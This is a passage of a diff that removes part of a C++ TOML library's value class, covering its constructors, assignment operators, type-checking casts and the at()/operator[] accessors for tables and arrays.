-    basic_value(const char* s)
-        : type_(value_t::string),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->string_, toml::string(std::string(s)));
-    }
-    basic_value& operator=(const char* s)
-    {
-        this->cleanup();
-        this->type_ = value_t::string ;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->string_, toml::string(std::string(s)));
-        return *this;
-    }
-    basic_value(const char* s, string_t kind)
-        : type_(value_t::string),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->string_, toml::string(std::string(s), kind));
-    }
-    basic_value(const char* s, std::vector<std::string> com)
-        : type_(value_t::string),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->string_, toml::string(std::string(s)));
-    }
-    basic_value(const char* s, string_t kind, std::vector<std::string> com)
-        : type_(value_t::string),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->string_, toml::string(std::string(s), kind));
-    }
-
-#if defined(TOML11_USING_STRING_VIEW) && TOML11_USING_STRING_VIEW>0
-    basic_value(std::string_view s)
-        : type_(value_t::string),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->string_, toml::string(s));
-    }
-    basic_value& operator=(std::string_view s)
-    {
-        this->cleanup();
-        this->type_ = value_t::string ;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->string_, toml::string(s));
-        return *this;
-    }
-    basic_value(std::string_view s, std::vector<std::string> com)
-        : type_(value_t::string),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->string_, toml::string(s));
-    }
-    basic_value(std::string_view s, string_t kind)
-        : type_(value_t::string),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->string_, toml::string(s, kind));
-    }
-    basic_value(std::string_view s, string_t kind, std::vector<std::string> com)
-        : type_(value_t::string),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->string_, toml::string(s, kind));
-    }
-#endif
-
-    // local date ===========================================================
-
-    basic_value(const local_date& ld)
-        : type_(value_t::local_date),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->local_date_, ld);
-    }
-    basic_value& operator=(const local_date& ld)
-    {
-        this->cleanup();
-        this->type_ = value_t::local_date;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->local_date_, ld);
-        return *this;
-    }
-    basic_value(const local_date& ld, std::vector<std::string> com)
-        : type_(value_t::local_date),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->local_date_, ld);
-    }
-
-    // local time ===========================================================
-
-    basic_value(const local_time& lt)
-        : type_(value_t::local_time),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->local_time_, lt);
-    }
-    basic_value(const local_time& lt, std::vector<std::string> com)
-        : type_(value_t::local_time),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->local_time_, lt);
-    }
-    basic_value& operator=(const local_time& lt)
-    {
-        this->cleanup();
-        this->type_ = value_t::local_time;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->local_time_, lt);
-        return *this;
-    }
-
-    template<typename Rep, typename Period>
-    basic_value(const std::chrono::duration<Rep, Period>& dur)
-        : type_(value_t::local_time),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->local_time_, local_time(dur));
-    }
-    template<typename Rep, typename Period>
-    basic_value(const std::chrono::duration<Rep, Period>& dur,
-                std::vector<std::string> com)
-        : type_(value_t::local_time),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->local_time_, local_time(dur));
-    }
-    template<typename Rep, typename Period>
-    basic_value& operator=(const std::chrono::duration<Rep, Period>& dur)
-    {
-        this->cleanup();
-        this->type_ = value_t::local_time;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->local_time_, local_time(dur));
-        return *this;
-    }
-
-    // local datetime =======================================================
-
-    basic_value(const local_datetime& ldt)
-        : type_(value_t::local_datetime),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->local_datetime_, ldt);
-    }
-    basic_value(const local_datetime& ldt, std::vector<std::string> com)
-        : type_(value_t::local_datetime),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->local_datetime_, ldt);
-    }
-    basic_value& operator=(const local_datetime& ldt)
-    {
-        this->cleanup();
-        this->type_ = value_t::local_datetime;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->local_datetime_, ldt);
-        return *this;
-    }
-
-    // offset datetime ======================================================
-
-    basic_value(const offset_datetime& odt)
-        : type_(value_t::offset_datetime),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->offset_datetime_, odt);
-    }
-    basic_value(const offset_datetime& odt, std::vector<std::string> com)
-        : type_(value_t::offset_datetime),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->offset_datetime_, odt);
-    }
-    basic_value& operator=(const offset_datetime& odt)
-    {
-        this->cleanup();
-        this->type_ = value_t::offset_datetime;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->offset_datetime_, odt);
-        return *this;
-    }
-    basic_value(const std::chrono::system_clock::time_point& tp)
-        : type_(value_t::offset_datetime),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->offset_datetime_, offset_datetime(tp));
-    }
-    basic_value(const std::chrono::system_clock::time_point& tp,
-                std::vector<std::string> com)
-        : type_(value_t::offset_datetime),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->offset_datetime_, offset_datetime(tp));
-    }
-    basic_value& operator=(const std::chrono::system_clock::time_point& tp)
-    {
-        this->cleanup();
-        this->type_ = value_t::offset_datetime;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->offset_datetime_, offset_datetime(tp));
-        return *this;
-    }
-
-    // array ================================================================
-
-    basic_value(const array_type& ary)
-        : type_(value_t::array),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->array_, ary);
-    }
-    basic_value(const array_type& ary, std::vector<std::string> com)
-        : type_(value_t::array),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->array_, ary);
-    }
-    basic_value& operator=(const array_type& ary)
-    {
-        this->cleanup();
-        this->type_ = value_t::array ;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->array_, ary);
-        return *this;
-    }
-
-    // array (initializer_list) ----------------------------------------------
-
-    template<typename T, typename std::enable_if<
-            std::is_convertible<T, value_type>::value,
-        std::nullptr_t>::type = nullptr>
-    basic_value(std::initializer_list<T> list)
-        : type_(value_t::array),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        array_type ary(list.begin(), list.end());
-        assigner(this->array_, std::move(ary));
-    }
-    template<typename T, typename std::enable_if<
-            std::is_convertible<T, value_type>::value,
-        std::nullptr_t>::type = nullptr>
-    basic_value(std::initializer_list<T> list, std::vector<std::string> com)
-        : type_(value_t::array),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        array_type ary(list.begin(), list.end());
-        assigner(this->array_, std::move(ary));
-    }
-    template<typename T, typename std::enable_if<
-            std::is_convertible<T, value_type>::value,
-        std::nullptr_t>::type = nullptr>
-    basic_value& operator=(std::initializer_list<T> list)
-    {
-        this->cleanup();
-        this->type_ = value_t::array;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-
-        array_type ary(list.begin(), list.end());
-        assigner(this->array_, std::move(ary));
-        return *this;
-    }
-
-    // array (STL Containers) ------------------------------------------------
-
-    template<typename T, typename std::enable_if<detail::conjunction<
-            detail::negation<std::is_same<T, array_type>>,
-            detail::is_container<T>
-        >::value, std::nullptr_t>::type = nullptr>
-    basic_value(const T& list)
-        : type_(value_t::array),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        static_assert(std::is_convertible<typename T::value_type, value_type>::value,
-            "elements of a container should be convertible to toml::value");
-
-        array_type ary(list.size());
-        std::copy(list.begin(), list.end(), ary.begin());
-        assigner(this->array_, std::move(ary));
-    }
-    template<typename T, typename std::enable_if<detail::conjunction<
-            detail::negation<std::is_same<T, array_type>>,
-            detail::is_container<T>
-        >::value, std::nullptr_t>::type = nullptr>
-    basic_value(const T& list, std::vector<std::string> com)
-        : type_(value_t::array),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        static_assert(std::is_convertible<typename T::value_type, value_type>::value,
-            "elements of a container should be convertible to toml::value");
-
-        array_type ary(list.size());
-        std::copy(list.begin(), list.end(), ary.begin());
-        assigner(this->array_, std::move(ary));
-    }
-    template<typename T, typename std::enable_if<detail::conjunction<
-            detail::negation<std::is_same<T, array_type>>,
-            detail::is_container<T>
-        >::value, std::nullptr_t>::type = nullptr>
-    basic_value& operator=(const T& list)
-    {
-        static_assert(std::is_convertible<typename T::value_type, value_type>::value,
-            "elements of a container should be convertible to toml::value");
-
-        this->cleanup();
-        this->type_ = value_t::array;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-
-        array_type ary(list.size());
-        std::copy(list.begin(), list.end(), ary.begin());
-        assigner(this->array_, std::move(ary));
-        return *this;
-    }
-
-    // table ================================================================
-
-    basic_value(const table_type& tab)
-        : type_(value_t::table),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        assigner(this->table_, tab);
-    }
-    basic_value(const table_type& tab, std::vector<std::string> com)
-        : type_(value_t::table),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        assigner(this->table_, tab);
-    }
-    basic_value& operator=(const table_type& tab)
-    {
-        this->cleanup();
-        this->type_ = value_t::table;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-        assigner(this->table_, tab);
-        return *this;
-    }
-
-    // initializer-list ------------------------------------------------------
-
-    basic_value(std::initializer_list<std::pair<key, basic_value>> list)
-        : type_(value_t::table),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        table_type tab;
-        for(const auto& elem : list) {tab[elem.first] = elem.second;}
-        assigner(this->table_, std::move(tab));
-    }
-
-    basic_value(std::initializer_list<std::pair<key, basic_value>> list,
-                std::vector<std::string> com)
-        : type_(value_t::table),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        table_type tab;
-        for(const auto& elem : list) {tab[elem.first] = elem.second;}
-        assigner(this->table_, std::move(tab));
-    }
-    basic_value& operator=(std::initializer_list<std::pair<key, basic_value>> list)
-    {
-        this->cleanup();
-        this->type_ = value_t::table;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-
-        table_type tab;
-        for(const auto& elem : list) {tab[elem.first] = elem.second;}
-        assigner(this->table_, std::move(tab));
-        return *this;
-    }
-
-    // other table-like -----------------------------------------------------
-
-    template<typename Map, typename std::enable_if<detail::conjunction<
-            detail::negation<std::is_same<Map, table_type>>,
-            detail::is_map<Map>
-        >::value, std::nullptr_t>::type = nullptr>
-    basic_value(const Map& mp)
-        : type_(value_t::table),
-          region_info_(std::make_shared<region_base>(region_base{}))
-    {
-        table_type tab;
-        for(const auto& elem : mp) {tab[elem.first] = elem.second;}
-        assigner(this->table_, std::move(tab));
-    }
-    template<typename Map, typename std::enable_if<detail::conjunction<
-            detail::negation<std::is_same<Map, table_type>>,
-            detail::is_map<Map>
-        >::value, std::nullptr_t>::type = nullptr>
-    basic_value(const Map& mp, std::vector<std::string> com)
-        : type_(value_t::table),
-          region_info_(std::make_shared<region_base>(region_base{})),
-          comments_(std::move(com))
-    {
-        table_type tab;
-        for(const auto& elem : mp) {tab[elem.first] = elem.second;}
-        assigner(this->table_, std::move(tab));
-    }
-    template<typename Map, typename std::enable_if<detail::conjunction<
-            detail::negation<std::is_same<Map, table_type>>,
-            detail::is_map<Map>
-        >::value, std::nullptr_t>::type = nullptr>
-    basic_value& operator=(const Map& mp)
-    {
-        this->cleanup();
-        this->type_ = value_t::table;
-        this->region_info_ = std::make_shared<region_base>(region_base{});
-
-        table_type tab;
-        for(const auto& elem : mp) {tab[elem.first] = elem.second;}
-        assigner(this->table_, std::move(tab));
-        return *this;
-    }
-
-    // user-defined =========================================================
-
-    // convert using into_toml() method -------------------------------------
-
-    template<typename T, typename std::enable_if<
-        detail::has_into_toml_method<T>::value, std::nullptr_t>::type = nullptr>
-    basic_value(const T& ud): basic_value(ud.into_toml()) {}
-
-    template<typename T, typename std::enable_if<
-        detail::has_into_toml_method<T>::value, std::nullptr_t>::type = nullptr>
-    basic_value(const T& ud, std::vector<std::string> com)
-        : basic_value(ud.into_toml(), std::move(com))
-    {}
-    template<typename T, typename std::enable_if<
-        detail::has_into_toml_method<T>::value, std::nullptr_t>::type = nullptr>
-    basic_value& operator=(const T& ud)
-    {
-        *this = ud.into_toml();
-        return *this;
-    }
-
-    // convert using into<T> struct -----------------------------------------
-
-    template<typename T, std::size_t S = sizeof(::toml::into<T>)>
-    basic_value(const T& ud): basic_value(::toml::into<T>::into_toml(ud)) {}
-    template<typename T, std::size_t S = sizeof(::toml::into<T>)>
-    basic_value(const T& ud, std::vector<std::string> com)
-        : basic_value(::toml::into<T>::into_toml(ud), std::move(com))
-    {}
-    template<typename T, std::size_t S = sizeof(::toml::into<T>)>
-    basic_value& operator=(const T& ud)
-    {
-        *this = ::toml::into<T>::into_toml(ud);
-        return *this;
-    }
-
-    // for internal use ------------------------------------------------------
-    //
-    // Those constructors take detail::region that contains parse result.
-
-    basic_value(boolean b, detail::region reg, std::vector<std::string> cm)
-        : type_(value_t::boolean),
-          region_info_(std::make_shared<detail::region>(std::move(reg))),
-          comments_(std::move(cm))
-    {
-        assigner(this->boolean_, b);
-    }
-    template<typename T, typename std::enable_if<
-        detail::conjunction<
-            std::is_integral<T>, detail::negation<std::is_same<T, boolean>>
-        >::value, std::nullptr_t>::type = nullptr>
-    basic_value(T i, detail::region reg, std::vector<std::string> cm)
-        : type_(value_t::integer),
-          region_info_(std::make_shared<detail::region>(std::move(reg))),
-          comments_(std::move(cm))
-    {
-        assigner(this->integer_, static_cast<integer>(i));
-    }
-    template<typename T, typename std::enable_if<
-        std::is_floating_point<T>::value, std::nullptr_t>::type = nullptr>
-    basic_value(T f, detail::region reg, std::vector<std::string> cm)
-        : type_(value_t::floating),
-          region_info_(std::make_shared<detail::region>(std::move(reg))),
-          comments_(std::move(cm))
-    {
-        assigner(this->floating_, static_cast<floating>(f));
-    }
-    basic_value(toml::string s, detail::region reg,
-                std::vector<std::string> cm)
-        : type_(value_t::string),
-          region_info_(std::make_shared<detail::region>(std::move(reg))),
-          comments_(std::move(cm))
-    {
-        assigner(this->string_, std::move(s));
-    }
-    basic_value(const local_date& ld, detail::region reg,
-                std::vector<std::string> cm)
-        : type_(value_t::local_date),
-          region_info_(std::make_shared<detail::region>(std::move(reg))),
-          comments_(std::move(cm))
-    {
-        assigner(this->local_date_, ld);
-    }
-    basic_value(const local_time& lt, detail::region reg,
-                std::vector<std::string> cm)
-        : type_(value_t::local_time),
-          region_info_(std::make_shared<detail::region>(std::move(reg))),
-          comments_(std::move(cm))
-    {
-        assigner(this->local_time_, lt);
-    }
-    basic_value(const local_datetime& ldt, detail::region reg,
-                std::vector<std::string> cm)
-        : type_(value_t::local_datetime),
-          region_info_(std::make_shared<detail::region>(std::move(reg))),
-          comments_(std::move(cm))
-    {
-        assigner(this->local_datetime_, ldt);
-    }
-    basic_value(const offset_datetime& odt, detail::region reg,
-                std::vector<std::string> cm)
-        : type_(value_t::offset_datetime),
-          region_info_(std::make_shared<detail::region>(std::move(reg))),
-          comments_(std::move(cm))
-    {
-        assigner(this->offset_datetime_, odt);
-    }
-    basic_value(const array_type& ary, detail::region reg,
-                std::vector<std::string> cm)
-        : type_(value_t::array),
-          region_info_(std::make_shared<detail::region>(std::move(reg))),
-          comments_(std::move(cm))
-    {
-        assigner(this->array_, ary);
-    }
-    basic_value(const table_type& tab, detail::region reg,
-                std::vector<std::string> cm)
-        : type_(value_t::table),
-          region_info_(std::make_shared<detail::region>(std::move(reg))),
-          comments_(std::move(cm))
-    {
-        assigner(this->table_, tab);
-    }
-
-    template<typename T, typename std::enable_if<
-        detail::is_exact_toml_type<T, value_type>::value,
-        std::nullptr_t>::type = nullptr>
-    basic_value(std::pair<T, detail::region> parse_result, std::vector<std::string> com)
-        : basic_value(std::move(parse_result.first),
-                      std::move(parse_result.second),
-                      std::move(com))
-    {}
-
-    // type checking and casting ============================================
-
-    template<typename T, typename std::enable_if<
-        detail::is_exact_toml_type<T, value_type>::value,
-        std::nullptr_t>::type = nullptr>
-    bool is() const noexcept
-    {
-        return detail::type_to_enum<T, value_type>::value == this->type_;
-    }
-    bool is(value_t t) const noexcept {return t == this->type_;}
-
-    bool is_uninitialized()   const noexcept {return this->is(value_t::empty          );}
-    bool is_boolean()         const noexcept {return this->is(value_t::boolean        );}
-    bool is_integer()         const noexcept {return this->is(value_t::integer        );}
-    bool is_floating()        const noexcept {return this->is(value_t::floating       );}
-    bool is_string()          const noexcept {return this->is(value_t::string         );}
-    bool is_offset_datetime() const noexcept {return this->is(value_t::offset_datetime);}
-    bool is_local_datetime()  const noexcept {return this->is(value_t::local_datetime );}
-    bool is_local_date()      const noexcept {return this->is(value_t::local_date     );}
-    bool is_local_time()      const noexcept {return this->is(value_t::local_time     );}
-    bool is_array()           const noexcept {return this->is(value_t::array          );}
-    bool is_table()           const noexcept {return this->is(value_t::table          );}
-
-    value_t type() const noexcept {return type_;}
-
-    template<value_t T>
-    typename detail::enum_to_type<T, value_type>::type&       cast() &
-    {
-        if(this->type_ != T)
-        {
-            detail::throw_bad_cast<T>("toml::value::cast: ", this->type_, *this);
-        }
-        return detail::switch_cast<T>::invoke(*this);
-    }
-    template<value_t T>
-    typename detail::enum_to_type<T, value_type>::type const& cast() const&
-    {
-        if(this->type_ != T)
-        {
-            detail::throw_bad_cast<T>("toml::value::cast: ", this->type_, *this);
-        }
-        return detail::switch_cast<T>::invoke(*this);
-    }
-    template<value_t T>
-    typename detail::enum_to_type<T, value_type>::type&&      cast() &&
-    {
-        if(this->type_ != T)
-        {
-            detail::throw_bad_cast<T>("toml::value::cast: ", this->type_, *this);
-        }
-        return detail::switch_cast<T>::invoke(std::move(*this));
-    }
-
-    // ------------------------------------------------------------------------
-    // nothrow version
-
-    boolean         const& as_boolean        (const std::nothrow_t&) const& noexcept {return this->boolean_;}
-    integer         const& as_integer        (const std::nothrow_t&) const& noexcept {return this->integer_;}
-    floating        const& as_floating       (const std::nothrow_t&) const& noexcept {return this->floating_;}
-    string          const& as_string         (const std::nothrow_t&) const& noexcept {return this->string_;}
-    offset_datetime const& as_offset_datetime(const std::nothrow_t&) const& noexcept {return this->offset_datetime_;}
-    local_datetime  const& as_local_datetime (const std::nothrow_t&) const& noexcept {return this->local_datetime_;}
-    local_date      const& as_local_date     (const std::nothrow_t&) const& noexcept {return this->local_date_;}
-    local_time      const& as_local_time     (const std::nothrow_t&) const& noexcept {return this->local_time_;}
-    array_type      const& as_array          (const std::nothrow_t&) const& noexcept {return this->array_.value();}
-    table_type      const& as_table          (const std::nothrow_t&) const& noexcept {return this->table_.value();}
-
-    boolean        & as_boolean        (const std::nothrow_t&) & noexcept {return this->boolean_;}
-    integer        & as_integer        (const std::nothrow_t&) & noexcept {return this->integer_;}
-    floating       & as_floating       (const std::nothrow_t&) & noexcept {return this->floating_;}
-    string         & as_string         (const std::nothrow_t&) & noexcept {return this->string_;}
-    offset_datetime& as_offset_datetime(const std::nothrow_t&) & noexcept {return this->offset_datetime_;}
-    local_datetime & as_local_datetime (const std::nothrow_t&) & noexcept {return this->local_datetime_;}
-    local_date     & as_local_date     (const std::nothrow_t&) & noexcept {return this->local_date_;}
-    local_time     & as_local_time     (const std::nothrow_t&) & noexcept {return this->local_time_;}
-    array_type     & as_array          (const std::nothrow_t&) & noexcept {return this->array_.value();}
-    table_type     & as_table          (const std::nothrow_t&) & noexcept {return this->table_.value();}
-
-    boolean        && as_boolean        (const std::nothrow_t&) && noexcept {return std::move(this->boolean_);}
-    integer        && as_integer        (const std::nothrow_t&) && noexcept {return std::move(this->integer_);}
-    floating       && as_floating       (const std::nothrow_t&) && noexcept {return std::move(this->floating_);}
-    string         && as_string         (const std::nothrow_t&) && noexcept {return std::move(this->string_);}
-    offset_datetime&& as_offset_datetime(const std::nothrow_t&) && noexcept {return std::move(this->offset_datetime_);}
-    local_datetime && as_local_datetime (const std::nothrow_t&) && noexcept {return std::move(this->local_datetime_);}
-    local_date     && as_local_date     (const std::nothrow_t&) && noexcept {return std::move(this->local_date_);}
-    local_time     && as_local_time     (const std::nothrow_t&) && noexcept {return std::move(this->local_time_);}
-    array_type     && as_array          (const std::nothrow_t&) && noexcept {return std::move(this->array_.value());}
-    table_type     && as_table          (const std::nothrow_t&) && noexcept {return std::move(this->table_.value());}
-
-    // ========================================================================
-    // throw version
-    // ------------------------------------------------------------------------
-    // const reference {{{
-
-    boolean const& as_boolean() const&
-    {
-        if(this->type_ != value_t::boolean)
-        {
-            detail::throw_bad_cast<value_t::boolean>(
-                    "toml::value::as_boolean(): ", this->type_, *this);
-        }
-        return this->boolean_;
-    }
-    integer const& as_integer() const&
-    {
-        if(this->type_ != value_t::integer)
-        {
-            detail::throw_bad_cast<value_t::integer>(
-                    "toml::value::as_integer(): ", this->type_, *this);
-        }
-        return this->integer_;
-    }
-    floating const& as_floating() const&
-    {
-        if(this->type_ != value_t::floating)
-        {
-            detail::throw_bad_cast<value_t::floating>(
-                    "toml::value::as_floating(): ", this->type_, *this);
-        }
-        return this->floating_;
-    }
-    string const& as_string() const&
-    {
-        if(this->type_ != value_t::string)
-        {
-            detail::throw_bad_cast<value_t::string>(
-                    "toml::value::as_string(): ", this->type_, *this);
-        }
-        return this->string_;
-    }
-    offset_datetime const& as_offset_datetime() const&
-    {
-        if(this->type_ != value_t::offset_datetime)
-        {
-            detail::throw_bad_cast<value_t::offset_datetime>(
-                    "toml::value::as_offset_datetime(): ", this->type_, *this);
-        }
-        return this->offset_datetime_;
-    }
-    local_datetime const& as_local_datetime() const&
-    {
-        if(this->type_ != value_t::local_datetime)
-        {
-            detail::throw_bad_cast<value_t::local_datetime>(
-                    "toml::value::as_local_datetime(): ", this->type_, *this);
-        }
-        return this->local_datetime_;
-    }
-    local_date const& as_local_date() const&
-    {
-        if(this->type_ != value_t::local_date)
-        {
-            detail::throw_bad_cast<value_t::local_date>(
-                    "toml::value::as_local_date(): ", this->type_, *this);
-        }
-        return this->local_date_;
-    }
-    local_time const& as_local_time() const&
-    {
-        if(this->type_ != value_t::local_time)
-        {
-            detail::throw_bad_cast<value_t::local_time>(
-                    "toml::value::as_local_time(): ", this->type_, *this);
-        }
-        return this->local_time_;
-    }
-    array_type const& as_array() const&
-    {
-        if(this->type_ != value_t::array)
-        {
-            detail::throw_bad_cast<value_t::array>(
-                    "toml::value::as_array(): ", this->type_, *this);
-        }
-        return this->array_.value();
-    }
-    table_type const& as_table() const&
-    {
-        if(this->type_ != value_t::table)
-        {
-            detail::throw_bad_cast<value_t::table>(
-                    "toml::value::as_table(): ", this->type_, *this);
-        }
-        return this->table_.value();
-    }
-    // }}}
-    // ------------------------------------------------------------------------
-    // nonconst reference {{{
-
-    boolean & as_boolean() &
-    {
-        if(this->type_ != value_t::boolean)
-        {
-            detail::throw_bad_cast<value_t::boolean>(
-                    "toml::value::as_boolean(): ", this->type_, *this);
-        }
-        return this->boolean_;
-    }
-    integer & as_integer() &
-    {
-        if(this->type_ != value_t::integer)
-        {
-            detail::throw_bad_cast<value_t::integer>(
-                    "toml::value::as_integer(): ", this->type_, *this);
-        }
-        return this->integer_;
-    }
-    floating & as_floating() &
-    {
-        if(this->type_ != value_t::floating)
-        {
-            detail::throw_bad_cast<value_t::floating>(
-                    "toml::value::as_floating(): ", this->type_, *this);
-        }
-        return this->floating_;
-    }
-    string & as_string() &
-    {
-        if(this->type_ != value_t::string)
-        {
-            detail::throw_bad_cast<value_t::string>(
-                    "toml::value::as_string(): ", this->type_, *this);
-        }
-        return this->string_;
-    }
-    offset_datetime & as_offset_datetime() &
-    {
-        if(this->type_ != value_t::offset_datetime)
-        {
-            detail::throw_bad_cast<value_t::offset_datetime>(
-                    "toml::value::as_offset_datetime(): ", this->type_, *this);
-        }
-        return this->offset_datetime_;
-    }
-    local_datetime & as_local_datetime() &
-    {
-        if(this->type_ != value_t::local_datetime)
-        {
-            detail::throw_bad_cast<value_t::local_datetime>(
-                    "toml::value::as_local_datetime(): ", this->type_, *this);
-        }
-        return this->local_datetime_;
-    }
-    local_date & as_local_date() &
-    {
-        if(this->type_ != value_t::local_date)
-        {
-            detail::throw_bad_cast<value_t::local_date>(
-                    "toml::value::as_local_date(): ", this->type_, *this);
-        }
-        return this->local_date_;
-    }
-    local_time & as_local_time() &
-    {
-        if(this->type_ != value_t::local_time)
-        {
-            detail::throw_bad_cast<value_t::local_time>(
-                    "toml::value::as_local_time(): ", this->type_, *this);
-        }
-        return this->local_time_;
-    }
-    array_type & as_array() &
-    {
-        if(this->type_ != value_t::array)
-        {
-            detail::throw_bad_cast<value_t::array>(
-                    "toml::value::as_array(): ", this->type_, *this);
-        }
-        return this->array_.value();
-    }
-    table_type & as_table() &
-    {
-        if(this->type_ != value_t::table)
-        {
-            detail::throw_bad_cast<value_t::table>(
-                    "toml::value::as_table(): ", this->type_, *this);
-        }
-        return this->table_.value();
-    }
-
-    // }}}
-    // ------------------------------------------------------------------------
-    // rvalue reference {{{
-
-    boolean && as_boolean() &&
-    {
-        if(this->type_ != value_t::boolean)
-        {
-            detail::throw_bad_cast<value_t::boolean>(
-                    "toml::value::as_boolean(): ", this->type_, *this);
-        }
-        return std::move(this->boolean_);
-    }
-    integer && as_integer() &&
-    {
-        if(this->type_ != value_t::integer)
-        {
-            detail::throw_bad_cast<value_t::integer>(
-                    "toml::value::as_integer(): ", this->type_, *this);
-        }
-        return std::move(this->integer_);
-    }
-    floating && as_floating() &&
-    {
-        if(this->type_ != value_t::floating)
-        {
-            detail::throw_bad_cast<value_t::floating>(
-                    "toml::value::as_floating(): ", this->type_, *this);
-        }
-        return std::move(this->floating_);
-    }
-    string && as_string() &&
-    {
-        if(this->type_ != value_t::string)
-        {
-            detail::throw_bad_cast<value_t::string>(
-                    "toml::value::as_string(): ", this->type_, *this);
-        }
-        return std::move(this->string_);
-    }
-    offset_datetime && as_offset_datetime() &&
-    {
-        if(this->type_ != value_t::offset_datetime)
-        {
-            detail::throw_bad_cast<value_t::offset_datetime>(
-                    "toml::value::as_offset_datetime(): ", this->type_, *this);
-        }
-        return std::move(this->offset_datetime_);
-    }
-    local_datetime && as_local_datetime() &&
-    {
-        if(this->type_ != value_t::local_datetime)
-        {
-            detail::throw_bad_cast<value_t::local_datetime>(
-                    "toml::value::as_local_datetime(): ", this->type_, *this);
-        }
-        return std::move(this->local_datetime_);
-    }
-    local_date && as_local_date() &&
-    {
-        if(this->type_ != value_t::local_date)
-        {
-            detail::throw_bad_cast<value_t::local_date>(
-                    "toml::value::as_local_date(): ", this->type_, *this);
-        }
-        return std::move(this->local_date_);
-    }
-    local_time && as_local_time() &&
-    {
-        if(this->type_ != value_t::local_time)
-        {
-            detail::throw_bad_cast<value_t::local_time>(
-                    "toml::value::as_local_time(): ", this->type_, *this);
-        }
-        return std::move(this->local_time_);
-    }
-    array_type && as_array() &&
-    {
-        if(this->type_ != value_t::array)
-        {
-            detail::throw_bad_cast<value_t::array>(
-                    "toml::value::as_array(): ", this->type_, *this);
-        }
-        return std::move(this->array_.value());
-    }
-    table_type && as_table() &&
-    {
-        if(this->type_ != value_t::table)
-        {
-            detail::throw_bad_cast<value_t::table>(
-                    "toml::value::as_table(): ", this->type_, *this);
-        }
-        return std::move(this->table_.value());
-    }
-    // }}}
-
-    // accessors =============================================================
-    //
-    // may throw type_error or out_of_range
-    //
-    value_type&       at(const key& k)
-    {
-        if(!this->is_table())
-        {
-            detail::throw_bad_cast<value_t::table>(
-                "toml::value::at(key): ", this->type_, *this);
-        }
-        if(this->as_table(std::nothrow).count(k) == 0)
-        {
-            detail::throw_key_not_found_error(*this, k);
-        }
-        return this->as_table(std::nothrow).at(k);
-    }
-    value_type const& at(const key& k) const
-    {
-        if(!this->is_table())
-        {
-            detail::throw_bad_cast<value_t::table>(
-                "toml::value::at(key): ", this->type_, *this);
-        }
-        if(this->as_table(std::nothrow).count(k) == 0)
-        {
-            detail::throw_key_not_found_error(*this, k);
-        }
-        return this->as_table(std::nothrow).at(k);
-    }
-    value_type&       operator[](const key& k)
-    {
-        if(this->is_uninitialized())
-        {
-            *this = table_type{};
-        }
-        else if(!this->is_table()) // initialized, but not a table
-        {
-            detail::throw_bad_cast<value_t::table>(
-                "toml::value::operator[](key): ", this->type_, *this);
-        }
-        return this->as_table(std::nothrow)[k];
-    }
-
-    value_type&       at(const std::size_t idx)
-    {
-        if(!this->is_array())
-        {
-            detail::throw_bad_cast<value_t::array>(
-                "toml::value::at(idx): ", this->type_, *this);
-        }
-        if(this->as_array(std::nothrow).size() <= idx)
-        {
-            throw std::out_of_range(detail::format_underline(
-                "toml::value::at(idx): no element corresponding to the index", {
-                    {this->location(), concat_to_string("the length is ",
-                        this->as_array(std::nothrow).size(),
-                        ", and the specified index is ", idx)}
-                }));
-        }
-        return this->as_array().at(idx);
-    }
